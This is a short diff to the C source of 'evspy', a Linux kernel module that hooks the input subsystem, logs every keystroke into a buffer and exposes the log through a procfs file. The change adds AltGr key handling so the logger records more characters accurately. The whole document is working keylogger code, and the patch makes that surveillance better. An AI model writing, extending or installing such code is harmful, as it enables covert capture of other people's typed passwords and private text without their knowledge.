diff options
Diffstat (limited to 'evspy-core.c')
| -rw-r--r-- | evspy-core.c | 16 |
1 files changed, 15 insertions, 1 deletions
diff --git a/evspy-core.c b/evspy-core.c index 0f5799b..49ec3f8 100644 --- a/evspy-core.c +++ b/evspy-core.c @@ -28,6 +28,7 @@ static char *rdp; // read pointer static char *wrp; // write pointer static unsigned short int capslock_state = EVS_VAL_FREE; static unsigned short int shift = 0; +static unsigned short int altgr = 0; /* * Executed when the procfs file is read (EVS_PROCNAME) @@ -115,8 +116,13 @@ static void special_char(unsigned int code, unsigned int value) sp_tag = "[+ALT]"; break; case KEY_RIGHTALT: +#ifdef EVS_ALTGR_ENABLED + altgr = !altgr; + return; +#else sp_tag = "[+ALTGR]"; break; +#endif case KEY_LEFTCTRL: case KEY_RIGHTCTRL: sp_tag = "[+CTRL]"; @@ -189,7 +195,9 @@ static void evspy_event(struct input_handle *handle, unsigned int type, // "Direct" keys (alphanumeric + some symbols) } else if (value == EVS_VAL_PRESS) { - if (shift) + if (altgr) + evs_insert(evs_altgr(code)); + else if (shift) evs_insert(evs_shift(code)); else evs_insert(map[code]); @@ -253,6 +261,9 @@ static int __init evspy_init(void) { create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL); init_shiftmap(); +#ifdef EVS_ALTGR_ENABLED + init_altgrmap(); +#endif buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL); rdp = wrp = buffer; return !buffer || input_register_handler(&evspy_handler); @@ -262,6 +273,9 @@ static void __exit evspy_exit(void) { input_unregister_handler(&evspy_handler); kfree(buffer); +#ifdef EVS_ALTGR_ENABLED + exit_altgrmap(); +#endif exit_shiftmap(); remove_proc_entry(EVS_PROCNAME, NULL); } |